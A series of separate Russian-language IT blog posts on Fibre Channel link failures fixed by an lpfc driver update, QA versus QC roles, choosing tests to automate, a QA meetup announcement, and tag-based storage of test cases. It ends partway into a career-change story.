Параметры стресс-теста взяты "замечательные", вот команда запуска

stress-ng --vm-rw 1000 --vm-rw-bytes 2500G --verify --metrics-brief -t 60m

По документации, такие параметры означают, что стартовали 1000 процессов (start N workers that transfer memory to/from a parent/child), дали по 2500Гб оперативной памяти каждому (mmap N bytes per vm-rw worker) и сказали обмениваться с помощью функций Линукса process_vm_writev и process_vm_readv, а результат обмена проверять на ошибки, и так час. Ошибок при передаче данных не возникало, но вот проблемы с ОС и FC-линками были.

Позже, надо сказать, тестировали с еще более забавными параметрами stress-ng --vm-rw 2000 --vm-rw-bytes 3500G --verify --metrics-brief -t 10m.

Линукс крут. Такие параметры означают, что почти все время Линукс тратил на переключение процессов, обращения к памяти и передачу данных между NUMA-нодами, и сам по себе не падал, но люто тормозил. После небольшой настройки наше оборудование тоже стало справляться с такой нагрузкой без падений (Тормоза? Кто сказал тормоза?), но вот FC-линкам действительно становилось плохо они отваливались, один за другим, и победить это настройками не удавалось.

Со стороны свитчей это выглядело примерно так:

MDS1

2021 Feb 15 23:43:57 dn-MDS-C9148S-1 %PORT-5-IF_DOWN_LINK_FAILURE: %$VSAN 2221%$ Interface fc1/15 is down (Link failure loss of signal)

2021 Feb 15 23:45:24 dn-MDS-C9148S-1 %PORT-5-IF_DOWN_LINK_FAILURE: %$VSAN 2221%$ Interface fc1/27 is down (Link failure loss of signal)

MDS2

2021 Feb 15 23:21:54 dn-MDS-C9148S-2 %PORT-5-IF_DOWN_LINK_FAILURE: %$VSAN 2222%$ Interface fc1/27 is down (Link failure loss of signal)

2021 Feb 16 00:00:02 dn-MDS-C9148S-2 %PORT-5-IF_DOWN_LINK_FAILURE: %$VSAN 2222%$ Interface fc1/15 is down (Link failure loss of signal)

Техподдержка врёт (ну или добросовестно заблуждается).

Разумеется, последнее терпеть было никак нельзя, и за дело принялся знающий человек наш военком техподдержка Emulex.

Сначала, по просьбе Паши, заказчик поставил Emulex OneCommand Manager Command Line Interface и попробовал некоторые команды, например, получить список HBA, проверить статус портов, принудительно включить порт, перезагрузить HBA-карту.

Ничего из этого не помогло, но стало известно, что точный статус порта User Offline, позже, проанализировав выводы команд, техподдержка Emulex дала вот такой ответ по поводу статуса порта User Offline:

The Port state goes to User-offline, when the port bring-up fails even after reset. This is done by FC Driver. The reason for port bring-up failure could be due to various reasons (May be link issue (or) switch F-Port issue (or) HBA N-Port issue (or) authentication issue etc.)..

Перезагрузить сервер пока не удавалось (тесты), заказчик попробовал разные решения, но отключенные порты так и не поднимались, зато свежеподключенные порты работали. Все проверки показали, что проблема с одним из портов каждой HBA-карточки, всё остальное (свитчи, SFP, кабели) полностью исправно.

Первым делом в техподдержку отправили здоровенный кусок информации в виде логов, собранных специальным инструментом OneCapture. Поскольку карты были более-менее здоровы (за минусом портов), набор логов собрался (хотя и поразил объемами два пакета логов, в 9 и 36 ГИГАБАЙТ), и меньший из них послали доблестным специалистам техподдержки.

Логов не хватило.

Позволим себе процитировать:

The issue here is that the link state went to LPFC_HBA_ERROR state because of which board_mode is showing port status output as error.

Driver will not be able to post mailbox if link state is in error state and it will start throwing errors.

To debug further, our Development team needs more driver logs with log-verbosity set to 0x1ffff on the errored port.

*Steps to follow to collect logs:

==============

1. set the verbosity log level using HBACMD # hbacmd setDriverParam 10:00:00:10:**:**:**:** L P log-verbose 0x1ffff

2.Reset the port so that the port initialization events start # hbacmd reset 10:00:00:10:**:**:**:** (In case the boot mode is enabled, disable it using below command and then retry 2) (((#hbacmd EnableBootCode 10:00:00:10:**:**:**:** D) ))

3. After few seconds if collect the onecapture again using below options to skip Linux crash dump collection. This will give compelete faster and less file size, as crash dump is skipped.

#./OneCapture_Linux.sh --FullCapture --Adapters=all --NoCrashDump

4. After this Please collect HBA dump as well. Reason, onecapture failed to collect dump in previous attempt.

# hbacmd dump 10:00:00:10:**:**:**:**

Затем произошла перезагрузка, и линки восстали из мертвых (и даже не пахли). FW карт обновили до версии в описании, а техподдержка Emulex обрадовалась.

Но потом тестирование продолжили и линки начали вновь падать. Стало ясно, что трабл не решен, и логи пришлось собирать заново.

Заказчик, которому переслали инструкции выше, ухмыляясь и хмыкая (а вы бы не ухмылялись?), собрал новые логи... Но и тут не обошлось без проблем выставить флаг более подробных логов не получилось, потому что:

Это, кстати, удалось победить командой echo 0x1ffff > /sys/class/scsi_host/host16/lpfc_log_verbose.

"Не хочешь таблетку вот тебе свечка. Организм тот же пути разные..."

Логи были собраны, и техподдержка Emulex удалилась. Надо сказать, что на анализ логов они потратили всего лишь день.

Ответ был прекрасен:

Our Development team has analyzed the logs and gav below analysis:

====

Below sequence of events have forced the port to offline state:

1. IOCB time out error occurred and the IO abort was issued.

2. SCSI layer issued Device Reset of the LUN.

3. Bus reset performed by driver.

4. After the reset, driver failed to port sgl with -EIO error and brought the port offline.

There were also some kernel traces as well regarding tainted kernel (oracle linux)

wn2pynn00db0022 kernel: Tainted: G OE 4.14.35-1818.3.3.el7uek.x86_64 #2

=====

Our development team believes that, these logs indicate a possible scsi midlayer issue and not LPFC-driver or HBA-Firmware issue. Proper kernel upgrade may be required to resolve this issue.

Конечно, были попытки понять, о чем они пишут, но успехом это не увенчалось. Да, этими заклинаниями только Ктулху будить...

На попытку выяснить а есть ли обходное решение? сказали, что нет.

Делать было нечего, и пришлось идти куда послали к заказчику, просить обновить ядро.

Заказчик, ядро и уже наша техподдержка

Заказчик отзывчив ядро обновили, до версии 3.10.0-1160.15.2.el7. И запустили тест. Линки упали. Доблестные рыцари Постгреса радостно потирали лапки (это было видно по письмам, хотя, это могли быть галлюцинации от неумеренного общения с техподдержкой разных уровней).

Итак, линки все еще падают непонятно от чего, поддержки ОС нет (CentOS же), разобраться в настройках драйвера самостоятельно это угробить кучу времени без шансов на успех (вы видели тот талмуд?! - Вот он).

Наша глобальная поддержка (да, мы обратились еще и к нашим глобалам), тоже не сказала ничего нового железо в порядке, карты в порядке, идите в техподдержку ОС, но можете попробовать обновить все до последних версий. Или установить корпоративную ОС с поддержкой, и тогда пойти в техподдержку ОС...

Что забыли потрогать

Паша достаточно долго работает в техподдержке, и что он выучил, так это то, что часто источником глюка бывает то, что забыли потрогать.

За всё время этой проблемы пошатали и потрогали всё саму ОС, FW, прошивку HW сервера, настройки HW сервера, параметры GRUB, настройки фабрики, свитчей и линков...

Всё, кроме драйвера lpfc.

Терять было уже нечего, и помимо рекомендации перейдите на другую ОС мы попросили еще и обновить драйвер, до последней версии на сайте Emulex до 12.8.340.9.

И это помогло! После обновления драйвера FC-линки больше не падали. От выдоха облегчения чуть не свалился монитор, а сам Паша (реактивный эффект, ага) чуть не упал со стула.

Заказчик подтвердил, что с тех пор проблем с падениями линков уже не было, даже под стресс-нагрузкой.

Возможно, под поверхностью все еще притаился монстр какой-нибудь упущенный фактор, но пока (уже больше 3-х месяцев) все тихо.

Итоги

1. Удалось победить проблему падения FC-линков обновлением FW, драйвера и ядра до последних (или рекомендованных) версий.

2. Техподдержка врёт (ну или добросовестно заблуждается), поэтому приходится старательно все проверять самому.

3. Трогать и шатать при траблшутинге надо всё!

Я недавно латала дыры в понимании разницы между Quality Assuarance и Quality Control. Статей на эту тему много, я накидала свой вариант, хотелось по существу. Делюсь с вами. Enjoy, если актуально!

Кто такой QС Engineer

Контроль качества (QC) - часть международного стандарта управления качеством ISO 9000. Суть контроля качества сводится к поиску дефектов и ошибок после создания продукта.

Таким образом, специалист, чья работа крутится вокруг тестирования - это QC Engineer, по-русски, тестировщик.

Должностные обязанности QC Engineer

Примерный обобщенный список:

• Оценка и внедрение программного обеспечения для тестирования.

• Проверка продукта на соответствие установленным требованиям и ожиданиям.

• Настройка автоматического тестирования.

• Поиск дефектов или ошибок, которые могут подорвать доверие покупателей к вашим продуктам.

• Проверка, что конечный продукт соответствует стандартам компании, стандартам отрасли, законам.

• Составление отчетов об испытаниях и проверках.

• Выявление и документирование ошибок и дефектов, которые необходимо исправить перед выпуском продукта.

• Выявление и документирование ошибок и дефектов, которые можно исправить после отправки продукта.

• Тестирование инструкций, гайдов, документации.

• Работа со специалистами по обеспечению качества.

• Оценка отзывов и жалоб клиентов -- поиск и рекомендации решений, которые сделают их счастливыми.

• Мониторинг поступления на рынок только высококачественной продукции.

Кто такой QA Engineer

Обеспечение качества (QA) - часть международного стандарта управления качеством ISO 9000, которая помогает компаниям соответствовать требованиям, удовлетворять потребностям клиентов и постоянно улучшать свои процессы и процедуры.

Должностные обязанности QA Engineer

Примерный обобщенный список:

• Планирование, разработка и внедрение политики, процессов и процедуры обеспечения качества.

• Документирование и обновление типовых инструкций и лучших решений (best practices).

• Проверка процессов, процедур и документации на соответствие правилам и стандартам.

• Мониторинг текущих процессами с целью их улучшения.

• Обучение производственных и инженерных групп соблюдению установленных процессов и процедур.

• Анализ первопричин и внедрение решений, направленных на устранение проблем, обнаруженных в текущих процессах и процедурах.

• Сбор и оценка отзывы клиентов.

ВАЖНО. Даже если в компании есть четко определенная позиция QA Engineer, обеспечивать качественный процесс, создавать качественный продукт остается обязанностью каждого участника команды.

В общем, QA Engineer, если такой есть на проекте, человек, который прицельно отследит и поможет подтянуть проседающий процесс разработки: направит, надоумит, отправит учиться или подкинет инструментов и идей.

Разница между QA и QC

Кто такой Software Engineer in Test

На моей текущей работе недавно сменился босс и он регламентировал, что QA - полностью обязанность каждого сотрудника, а я для них Software Engineer in Test.

При ближайшем рассмотрении Software Engineer in Test у меня получилось, что это тоже QC Engineer с одной лишь разницей, что фокус его обязанностей в автоматизации тестирования и включает и разработку собственного фреймворка/инструмента, и написание автотестов:

• Создание/расширение фреймворка для тестирования.

• Разработка вспомогательных утилит для тестирования сервисов.

• Настройка и поддержка тестового окружения.

• Настройка автоматизированных тестов для надежного и эффективного выполнения в средах CI / CD.

• Обеспечение оптимального покрытия автотестами на всех уровнях.

• Автоматизация отчетности.

• и т.п.

Обязанности второго плана по сути копируют список QC Engineer.

Заключение

Итак, в любой компании есть Quality assuarance - это обязанность каждого сотрудника работать на высокое качество, но может присутствовать QA Engineer, который держит улучшение процесса разработки в постоянном фокусе.

И есть Quality Control. В центре QC - различные виды тестирования и все, что с этим связано, поэтому это зона ответственности Тестировщика, QC Engineer и Software Engineer in Test.

Полезно выяснить какой же у вас все-таки список должностных обязанностей и кого в вас видит руководство. Распространено, что руководство не различает некоторые понятия, и чаще всего ожидается, что вы два в одном QA + QC Engineer, либо в вас видят только QC Engineer.

Но кем бы вы ни были совместным итогом поступательных шагов в QA и QC всегда будут:

• высококачественный продукт на выходе

• приятный процесс работы и профессионализм

• доверие и приверженность клиентов

• отсутствие серьезных дефектов в продукте

• оптимизация ресурсов и снижение затрат

Удачи!

Автоматизация тестирования обычно вводится в проект для решения таких проблем, как повторяющаяся ручная работа, работа с большими наборами данных или получение более быстрой обратной связи в пайплайне CI / CD. Из-за этого шума вокруг автоматизации тестирования вы можете подумать о том, чтобы автоматизировать все. Возможно, вы уже выбрали фреймворк тестирования и команду, которая будет выполнять автоматизацию тестирования. Но серьезно ли вы задумывались о том, что вам следует автоматизировать или насколько это выполнимо для вас?

Исчерпывающее тестирование невозможно. Это один из ключевых принципов тестирования программного обеспечения.Перед тем, как начнется автоматизация тестирования, вам необходимо принять решение на основе данных о том, что вы будете автоматизировать, а что нет, и в каком приоритете. При принятии решения о том, что автоматизировать, следует учитывать несколько основных моментов, например уровень автоматизации, на котором вы будете создавать свои тесты. Автотесты можно разделить на три основных уровня: модульные тесты, интеграционные тесты и UI тесты. Вы должны оценить плюсы и минусы написания тестов на каждом из этих уровней, прежде чем приступать к их написанию.

Независимо от того, какой уровень автоматического тестирования вы выполняете, цель должна заключаться в автоматизации того, что приносит наибольшую пользу и учитывание областей, всегда тестируемых для каждого релиза, и областей, которые трудно тестировать вручную. Вам также следует обратить внимание на области, в которых требуется обрабатывать огромные объемы данных. Все эти факторы необходимо учитывать перед автоматизацией. Если вы создаете автотесты вслепую или по своей прихоти, это увеличивает вероятность того, что вы не получите от них столько пользы, сколько следовало бы.

Ниже подробно описаны пять критических областей/факторов, о которых следует помнить, когда вы рассматриваете возможность интеграции автоматического тестирования в свой текущий рабочий процесс.

Автоматизируйте ваши смоук тесты

Смоук тесты очень важно выполнять для получение уверенности, что ваше приложение функционирует на базовом уровне, после каждого измененияили при создании нового билда. Смоук тесты могут быть интегрированы в пайплайн CI / CD, чтобы убедиться, что блокирующие ошибки обнаруживаются на ранней стадии. Смоук тесты гарантируют, что наиболее важные аспекты и основные компоненты приложения работают правильно. Они тестируют области, которые всегда должны работать, и могут помочь вам понять, достаточно ли стабильна сборка или приложение для продолжения дальнейшего тестирования. Автоматизация смоук тестов может:

1. Поможет быстро обнаружить блокирующие ошибки, например, не загружается приложение/веб-страница, пользователь не может войти в систему, пользователь не может создать учетную запись или платежные сервисы не работают.

2. Обеспечивает более быстрое устранение новых и регрессионных багов. Смоук тесты по своей природе имеют большой охват и небольшую глубину. Это приводит к тому, что тестируется широкий спектр тест-кейсов, не углубляясь в приложение. Когда эти критические области заработают, вы сможете глубже изучить приложение, чтобы протестировать другие функции.

3. Приводит к меньшему количеству ручного труда и экономит время. Путем интеграции ваших автотестов в пайплайн CI/CD ваши смоук тесты сворершают проверку до завершения сборки. Это означает, что сборка не передается QA, если автотесты не пройдут смоук.

Автоматизируйте тесты, которые выполняются всегда, например, регрессионные тесты или тесты, которые всегда находятся в начале каждого рабочего процесса.

Это позволяет вам иметь набор стабильных тестов, жизненно важных для приложения. Например, создание учетной записи пользователя необходимо будет выполнить до того, как пользователь сможет войти в систему и просмотреть панель управления, совершать платежи и т. д. Создавая набор автоматизированной регрессии, вы можете:

1. Запускать тесты, которые быстро выявляют любые ошибки, возникающие в результате изменений в программном обеспечении. Эти изменения могут быть новыми функциями или исправлениями багов.

2. Иметь набор стабильных тестов. Регрессионные тесты обычно предназначены для существующих функций, что означает, что эти функции не являются новыми и были протестированы раньше. Это предотвращает появление флаки автотестов, из за которых вам пришлось бы тратить много времени на ручное тестирование, так как вы не уверены, действительно ли тесты провалились или нет.

3. Экономить время, так как теперь вы можете сосредоточить свои усилия на ручном тестировании на большем количестве крайних кейсов.

Автоматизируйте обширные тесты

Исчерпывающие тесты, такие как ввод больших наборов данных, тестирование формы или тесты, требующие от тестировщика многократного выполнения одного и того же процесса, но с большим разнообразием данных, должны быть автоматизированы. Вы можете создавать автотесты на основе данных, которые позволяют сэкономить время. Для различных форм автотесты позволяют вам быстро тестировать различные комбинации входных данных, например, отсутствуют ли поля, являются ли они неполными и т. д. Тестирование на основе данных очень полезно, поскольку оно позволяет вам изменять только данные, а не тестовый сценарий, чтобы получить разные результаты. Такие тесты очень многоразовые и эффективные.

Автоматизируйте тесты, требующие нескольких конфигураций

Речь идет о тестах в различных операционных системахи комбинациях браузеров. Делать все это вручную - утомительно. Также, автоматизация таких тестов может помочь сэкономить время. Автотесты можно запускать в различных средах (таких как Dev, QA, Staging, Integration или PROD), просто изменив переменную среды. Тесты также можно запускать параллельно, что сокращает время, необходимое для выполнения. Вы можете использовать различные инструменты CI, такие как CircleCI, чтобы указать ОС, браузеры и среды, в которых вы хотите запускать параллельные тесты. Убедитесь, что вы следуете лучшим практикам при создании параллельных тестов, чтобы получить от них максимальную пользу.

Автоматизируйте ваши тесты производительности

Это позволяет избежать сбоев при запуске, и снижения производительности. Тестирование производительности проверяет, как система работает под нагрузкой и стрессом, а также выявляет узкие места. Он проверяет скорость, время отклика, надежность, использование ресурсов и масштабируемость программного обеспечения в соответствии с ожидаемой рабочей нагрузкой. Автоматизация может помочь вам легко сгенерировать тысячи пользователей, чтобы увидеть, как приложение отреагирует. Например, Fandango - один из крупнейших в Америке сайтов по продаже билетов (около 36 миллионов посетителей в месяц покупают билеты на их сайте), и они хотели убедиться, что готовы к фильму Звездные войны: Последний джедай. Они хотели узнать, какова их пиковая производительность и определить узкие места. QualityWorks автоматизировала тесты производительности и предоставила им отчеты, которые помогли бы выявить узкие места, и в результате они успешно запустили продажу фильмов. Это то, что они могут продолжать использовать, чтобы гарантировать, что производительность их веб-сайта соответствует определенным стандартам.

Ваш следующий шаг

Этот список соображений ни в коем случае не является исчерпывающим, но это отличная отправная точка, если вы думаете, как интегрировать автоматизацию в текущий рабочий процесс QA. Будьте стратегичными и сфокусированными в своем подходе. Посидите с вашим текущим QA, чтобы обсудить их текущие практики и выявить узкие места в их процессе, которые могут быть устранены с помощью автоматизации. Автоматизация всего никогда не поможет. Помните, прежде чем создавать автотесты, подумайте о том, какой уровень вы хотите автоматизировать. Затем решите, какие тесты вы хотите автоматизировать, чтобы обеспечить максимальную рентабельность инвестиций для вас и вашей команды - те, которые повторяются, требуют много времени, критичны для бизнеса или которые тестируют производительность приложения.

Переведено командой QApedia. Еще больше переведенных статей вы найдете на нашем телеграм-канале.

Привет! В этот четверг казанский QA-чат проводит первую за долгое время встречу - а для тех, кто не придет очно или живет в другом городе, мы сделаем интерактивную трансляцию.

Митап и стрим стартуют 20 мая в 18:30 по московскому времени.

Зрители ютуб-трансляции смогут задать вопрос докладчику голосом - для этого достаточно будет браузера и пары наушников. Также мы будет педавать в зал вопросы из чата трансляции.

В программе три доклада.

Типичные ошибки при написании кода автотестов

Андрей Шальнев, QAA в Skyeng, расскажет, как его команда внедрила код-ревью как процесс, которого придерживаются в компании, и даст готовый чек-лист с примерами: что проверять и как поправить.

Data QA test reporting

Богдан Володарский, QAA в Provectus, подробно расскажет, как его команда смогла построить пайплайн по формированию отчета по результату тестирования данных.

Уволиться нельзя работать. Немного про эмоциональное выгорание

Гульшат Афлетунова, QA Lead в Skyeng, говорит о своем докладе так:

Я работала в офигенной команде, в офигенной компании и кайфовала от выпуска крутых продуктов. Пока не пропустила первую стадию выгорания. Затем вторую. Затем третью. А затем уволилась. И начала себя вытаскивать. Поделюсь, как не дойти до такого и выбираться, если дошли.

p.s. Запись митапа будет доступна по той же ссылке, что и трансляция.

Обеспечить представление данных из любой большой системы так, чтобы человек мог спокойно с этими данными работать задача нетривиальная, но давно решенная. В этой гонке уже давно победило "дерево". Папочные структуры в операционных системах знакомы всем и каждому и исторически простое дерево в UI/UX становится первым решением для упорядочивания и хранения данных. Сегодня поговорим о тестировании, так что в нашем случае объектами хранения будут выступать тест-кейсы. Как их хранят чаще всего? Верно, в папочках!

Привычно? Да. Но так ли это решение хорошо и универсально? Вопрос подкрепляется существованием исключений: почта, JIRA-тикеты и много чего другого хранится не в папках. Давайте разбираться, почему.

Единое дерево

Этот подход позволяет быстро запуститься на старте и смоделировать структуру для построения базы тестов. Например, организовать хранение тест-кейсов для веб-сервиса по страницам (или по фичам) каждой странице по папочке для тест-кейсов, даже если самих тестов еще нет. Это удобно сразу можно понять масштаб и работ, а по заполненности папочек можно примерно оценить покрытие.

В итоге получается красивое решение, позволяющее команде тестировщиков спокойно и планомерно, с разделением зон ответственности наполнять дерево тестами. Впрочем, если бы все было просто хорошо, эта статься не появилась бы.

Что с ним не так?

Представим, что у нас есть замечательный веб-сервис, тесты на него написаны, разложены по папкам (по одной на каждую страницу) и выполняются раз в неделю, все счастливы. Однако, в какой-то момент к руководителю QA приходит менеджер (а они всегда приходят!) и просит рассказать о покрытии тестами микросервисов. Это не то, чтобы большая проблема просто теперь в дополнение к существующей структуре нужно как-то собрать информацию о тестах из папочек и соотнести ее с микросервисами и сделать соответствующий (новый) отчет. Впрочем, чтобы в следующий раз не заниматься рутиной, старший тестировщик предлагает ввести фиксированные уровни у дерева: так у нас появится возможность иметь данные по командам в нашей структуре данных, а команды намного быстрее будут со своими репозиториями разбираться! Отличное решение, только в следующий раз менеджер просит статистику покрытия по фичам (еще один новый отчет)... Если тестов много, сотни или тысячи, то создание каждого нового среза потребует погружения внутрь всех вложенных ветвей и перераспределения тест-кейсов по новой структуре для анализа.

В результате общее дерево со временем разбивается на поддеревья: у каждой команды свое поддерево со своими правилами. При необходимости добавления дополнительного признака в тесты никто не пойдет править чужие поддеревья: неудобно, не надо, процессы уже завязаны на текущую структуру, некогда этим заниматься, "не трогайте наши тесты!" и еще по миллиону причин. В итоге получается картина, когда дерево папок общее, но в каждом поддереве свои уровни.

Минусы дерева папок отсутствие гибкости в доступе к данным и аналитике и сложность рефакторинга в условиях, когда требования к тестированию меняются.

При росте проекта и требований к прозрачности тестирования возникает второе ограничение папочной структуры: ее очень сложно обслуживать. Продукты редко становятся проще, поэтому со временем наступает момент, когда структура хранения тест-кейсов, созданная на старте, морально устаревает.

Со временем обнаружится, что папочки в изначальной структуре расплодились и превратились в неуправляемый ад. Мудрым решением пересобрать структуру по другому критерию, по фичам. Для этого надо спроектировать новую структуру, уже вместе с аналитиком (если такой есть) разобраться с фичами, и аккуратно переносить все тесты в новую структуру. Выглядит несложно, однако такой процесс в крупных проектах занимает недели и месяцы, и если те, кто с таким пока не столкнулся счастливые люди.

В итоге папочки станут снова управляемыми, уровни вложенности структурируются, но снова получится только один срез по фичам. Если попытаться создать структуру с двумя срезами, по фичам и компонентам сразу, ее сложность и запутанность создаст больше проблем, чем пользы. А если у вас 3000 тест-кейсов? А если 10000?

Впрочем, чтобы столкнуться с ограничениями папочной структуры хранения тестов, не обязательно ждать менеджера с каким-либо "хитрым" запросом. Если в недавно переработанной структуре по фичам понадобится найти самый "красный" компонент, сделать этого скорее всего не получится: вы найдете самую красную "папочку" с фичей, но какие компоненты в ней тестируются, сходу будет не понять. С любой метрикой качества тестирования или продукта придется идти разбираться головой и руками.

Еще один подводный камень хранения тестов в папках ждет тех, кто планирует хранить в них автоматизированные тесты, написанные на разных языках программирования. Тут все просто: в Java тесты хранятся по полному имени пакет вроде io.qameta.allure, а в JavaScript или Python просто по имени пакета. Это значит, что при автоматической генерации тест-кейсов из автотестов, каждый фреймворк будет городить свои подструктуры в дереве и вся нормализация и базовая структура будет нарушена. Конечно, можно написать свою интеграцию для каждого фреймворка, но мы же стараемся упростить себе жизнь, верно?

Самое время задаться вопросом, при чем здесь принятие решений из заголовка статьи. Ответ прост: все перечисленные недостатки связаны с тем, что папочная организация хранения тест-кейсов заставляет команду тестирования с самого начала принимать решение о структуре тестов, а не просто хранить информацию о тестовых сценариях и их результатах. Мало будет просто "подумать наперед" придется рассчитывать, что будет с проектом и командой тестирования через год-два, а лучше через три. К сожалению, чаще всего прогнозы оказываются неверными: можно переоценить темпы роста и годами сидеть в структуре "на вырост" или, наоборот, недооценить их и оказаться в структуре, неудобной команде и коллегам.

Как эту задачу решали Ops'ы?

С ограничениями классического дерева разобрались, а как их обходить? На самом деле, с этой задачей уже сталкивались многие, и изобретать велосипед нет необходимости. Большинство систем, работающих с большими объемами данных или большим количеством объектов переходят на плоскую структуру с навигацией по признакам. Самый яркий из недавних примеров инструменты мониторинга типа Grafana и Graphite.

Давайте рассмотрим его повнимательнее и попробуем применить к тестированию. Админы и все те, кто работают в Ops к метрикам и данным относятся с большой щепетильностью и любовью. Просто потому, что о падении сервиса, сети или недоступности какой-то кластера вы захотите узнать раньше пользователя, так? Изначально весь мониторинг строился по классической иерархической структуре: дата-центр кластер машинка метрики (CPU, RAM, storage и прочее). Удобная и понятная система, которая работает, если не приходится в реальном времени отслеживать десяток метрик, которые не привязаны к физическим машинам. А метрики для Ops'ов очень важны.

Например, нужно получить срез загрузки всех машин, на которых крутится какой-то микросервис. Построить такой срез при единой иерархической структуре задача нетривиальная. Задачу решили понятным и элегантным способом: сложили все объекты в единый пул и начали каждый помечать необходимыми метками-признаками.

Набор меток хранится в плоской структуре и свободно используется любой критерий поиска, фильтрации или группировки становится меткой: метрика, статус, география, сервис или компонент, положение в иерархии или отношение к команде. Такой подход позволяет освободить систему хранения от навязывания решений о структуре и хранить размеченные данные и метаданные так, чтобы иметь к ним доступ без "лишней" нагрузки.

Набор меток хранится в плоской структуре и свободно используется любой критерий поиска, фильтрации или группировки становится меткой

Чтобы получить отчет или анализ данных, нужно просто указать, по каким критериям срезы нас интересуют: нагрузка на CPU по инстанстам, разделенным по географии.

Такой метод управления данными позволяет не только фильтровать и делать выборки внутри структуры. Он предоставляет еще один уровень свободы в виде вышеупомянутой группировки: теперь можно спокойно сделать запрос к хранилищу вида "покажи статистику доступности всех машин, на которых крутится такой-то микросервис с группировкой по кластерам". Парсер проходится по всем машинам, забирает статистику доступности с тех, на которых стоит метка микросервиса и группирует их по кластерам.

При этом следующим запросом можно спокойно получить "загруженность кластеров по географии" дерево перебалансируется, перенеся кластеры на нижний уровень, а географию на первый.

В любой момент по запросу пользователю доступна любая аналитика и любой срез данных. Зайдите в дэшборды любой Ops-команды крупного сервиса, здесь найдутся отчеты по десятку метрик (uptime, загрузка ресурсов, количество пользователей и т.д.), нарезанных по множеству критериев (география, балансировка между серверами и пр.).

Да это же просто автоматизация папочек! скажете вы.

И это прекрасно это классическое решение проблемы масштабирования. Конечно, у системы с метками есть несколько минусы:

• Нельзя создать "скелет" из папок и оставить их пустыми. Классическая практика из начала статьи, которая позволяет на старте продумать архитектуру.

• Неудобно для тех, кто последние годы работал с папочками. Создание тестов требует аккуратной разметки и осмысленного подхода к формулированию каждого тест-кейса. Если в папочках "неудачные" или "ненужные" тесты просто затеряются, здесь они будут мозолить глаза.

Тест-кейсы: дерево против меток

Хорошо, с админами все понятно. Они там сидят и целый день смотрят в метрики и крутят данные. А нам-то зачем?

Ответ прост: мир разработки, к сожалению или к счастью, уже давно ушел от жесткой структуры релизы ускоряются, сборки автоматизируются. На фоне этих изменений, мир тестирования в большинстве компаний выглядит немного архаично: на новые фичи готовится по пачке новых тест-кейсов для ручных тестов и автоматизации, они раскладываются по папкам, запускается в тестирование на неопределенный срок (от 1-2 дней до недели), собирается результат тестирования и отгружается обратно в разработку после полного завершения. Ничего не напоминает? Это же старая добрая каскадная разработка (waterfall, то бишь)! В 2021 году. Если послушать Баруха Садогурского в одном из подкастов, где он довольно убедительно рассказывает, что любой процесс это по сути agile, в котором "мы пытаемся отложить принятие решения максимально далеко, чтобы перед этим собрать побольше данных", станет понятно, почему весь мир разработки гонится за короткими итерациями и быстрыми релизами. Именно поэтому разработчики уже давно пишут софт итеративно, внедряя по одной фиче или паре фиксов на релиз, опсы отгружают эти релизы как можно скорее, которые перед этим тестируются. А как они тестируются?

Скорость разработки и развертывания требует от тестирования скорости в предоставлении результатов больше нет времени на полуавтоматический анализ из статичного дерева, вашим коллегам нужно много данных с разных срезов. А если вы затрудняетесь их готовить, то действительно ли тестирование приносит максимальную пользу?

Посмотрите на последние веяния в тестировании для DevOps заключаются в том, чтобы тестировать как можно меньше и как можно быстрее: это приводит к подходам вроде shift right и тестируйте как можно меньше. Практики, направленные на скорость, повторяемость и стабильность выполнения тестов, а не покрытие и оценку качества в широком смысле про это в свое время буду писать отдельные статьи. Поэтому, чтобы оставаться в мире, где тестирование отвечает за качество продукта, давайте вернемся к нашим папочкам и признакам. Создавая папочную структуру, мы изначально закладываем в хранилище тест-кейсов принятое решение о том, в каком виде хотим получать отчеты и видеть результаты. Проблема в том, что мы не знаем какие отчёты понадобятся в будущем.

Если вы не успеваете готовить отчеты для коллег и бизнеса, то действительно ли тестирование приносит максимальную пользу?

В конце концов, никто не захочет разбираться с закостенелой структурой, которая удобна для отдела контроля качества. Чтобы тесты были полезны, их результаты должны быть гибкими и максимально атомарными, готовыми для сборки произвольных отчетов. Поэтому давайте собирать метаданные, а потом разбираться. По ним можно будет строить отображение дерева тестов в нужном виде: для тестировщиков по фичам, для разработчиков по классам, или вообще списком с сортировкой по имени:

Тестирование так же, как и мониторинг из примера, работает с метриками. Их может быть много или очень много, и придумать универсальную и вечную структуру просто невозможно. А собрать и сформулировать исчерпывающий набор метрик и критериев можно.

По сути, вместо одного статичного дерева, управление через признаки позволяет простым и понятным способом сделать генератор деревьев, основанный на нужных критериях, расширяемый и масштабируемый без лишних танцев с бубном. А как только мы получаем автоматически генерируемые выборки и группы, мы можем настроить автоматический live-репортинг и генерацию отчетов. Самый понятный пример JIRA, где можно по любому полю тикета построить график, тренд или дэшборд любого вида, собрать, отфильтровать или сгруппировать тикеты (могут понадобиться плагины!:)) в любую структуру прямо на митинге.

Согласитесь, звучит заманчиво: иметь гибкость JIRA-тикетов в управлении тест-кейсами. Останется только автоматизировать запуски на слияние веток и вот тестирование уже отвечает требованиям DevOps!

10 лет назад далеко не все ВУЗы готовили разработчиков для рынка. Я училась как раз там, где было все хорошо с базой, но плохо с современными технологиями, и по окончании не смогла найти себя в ИТ. Почти 10 лет меня мучил вопрос - а не вернуться ли? Не выйдет ли из меня хорошего тестировщика?

Смена профиля через столько лет после выпуска - своего рода прыжок веры. Но тут мне помог декрет. В этой статье я расскажу о том, как я использовала отпуск, чтобы найти свое место в профессии. А заодно поделюсь несколькими идеями, которые помогли пройти первые собеседования в новой для меня сфере.

ИТ-шник вне ИТ

Сразу оговорюсь, мой рассказ - вовсе не история о том, как начать тестировать, не имея базы. Чуть больше 10 лет назад я закончила факультет прикладной математики и информатики Воронежского государственного университета по специальности математик-программист, так что база была. Но честно говоря, даже сразу по окончании ВУЗа я понимала, что полученные знания сильно отстали от реальных потребностей отрасли. Плюс тестирование уже тогда привлекало меня гораздо больше, в отличие от разработки.

На тот момент в родном Воронеже вакансий тестировщика уровня джуна было мало. Рассылая резюме везде, где только можно, я в итоге получила оффер, но, к сожалению, с ним опоздали недели на две. Я хотела быстрее начать самостоятельную жизнь и к тому моменту уже приняла предложение на позицию специалиста по тендерам в ИТ-конторе. Так я начала искать и анализировать тендерные заявки на разработку и поставку ПО - смотрела задания, читала документацию, прикидывала компетенции, которые необходимы для решения поставленных задач, а заодно проверяла соответствие формальным требованиям (наличие специалистов, статусов и сертификатов).

